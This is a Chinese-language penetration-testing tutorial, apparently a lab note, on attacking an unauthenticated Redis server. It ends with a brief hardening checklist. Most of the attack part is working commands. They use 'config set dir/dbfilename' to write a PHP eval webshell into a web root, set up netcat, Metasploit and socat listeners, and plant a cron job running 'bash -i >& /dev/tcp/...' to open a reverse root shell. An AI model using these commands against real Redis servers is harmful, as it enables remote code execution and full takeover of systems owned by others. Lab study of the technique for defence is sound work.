目录
简介
靶机配置
Redis持久化
Redis动态修改配置
webshell
反弹shell
Redis写入反弹shell任务
加固方案
简介
Redis(Remote Dictionary Server 远程字典服务器)是一个开源的内存数据库,也被称为数据结构服务器,它支持多种数据结构,如字符串、哈希表、列表、集合、有序集合等。Redis旨在提供一个高性能、持久化的 key-value 存储解决方案,并且具有丰富的功能和灵活的部署方式。
以下是 Redis 的一些主要特点和用途:
-
内存存储:Redis将数据存储在内存中,因此具有非常高的读写性能。它通常被用作缓存系统,用来加速对数据库或其他后端存储的访问。
-
数据结构丰富:Redis支持多种数据结构,包括字符串、哈希表、列表、集合、有序集合等,这使得它可以适用于各种不同的应用场景。
-
持久化:除了存储在内存中,Redis还支持多种持久化方式,如RDB快照和AOF日志,以确保数据不会因服务器重启或故障而丢失。
-
发布/订阅:Redis支持发布/订阅模式,允许客户端订阅消息通道并接收特定类型的消息。
-
事务:Redis支持事务操作,允许执行一系列命令,保证这些命令要么全部执行,要么全部不执行,从而保持数据的一致性。
-
分布式:Redis可以被配置成分布式系统,通过复制和分片来提高可用性和扩展性。
-
缓存系统:由于其高性能和丰富的功能,Redis经常被用作缓存系统,用来减轻后端数据库的压力。
靶机配置
1、关闭保护模式 protected-mode
2、取消IP绑定 bind
3、开放6379端口,或者关闭防火墙
4、不需要密码(默认) requirepass
Redis持久化
RDB Redis DataBase (默认)
AOF Append Only File
配置:
1、save 3600 1 #自动触发规则
2、dbfilename dump.rdb #文件名
3、dir ./ #存储路径
手动触发保存命令:save / bgsave
Redis动态修改配置
config set:动态修改配置,重启以后失效
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
webshell
redis-cli -h 192.168.142.66 -p 6379
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set x "<?php @eval($_POST[wuya]); ?>"
save
反弹shell
攻击机
netcat nc -lvp 7777 (-nlvp lvvp)
msf msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.142.141
set lport 7777
run
socat socat TCP-LISTEN:7777 -
靶机
Redis写入反弹shell任务
Linux crontab
crontab -u root -r 删除某个用户的任务
crontab -u root time.cron 把文件添加到某个用户的任务
crontab -u root -l 列举某个用户的任务
crontab -u root -e 编辑某个用户的任务
cron文件存储路径
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly
payload:
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
加固方案
1、限制访问IP
2、修改默认端口
3、使用密码访问
4、不要用root运行Redis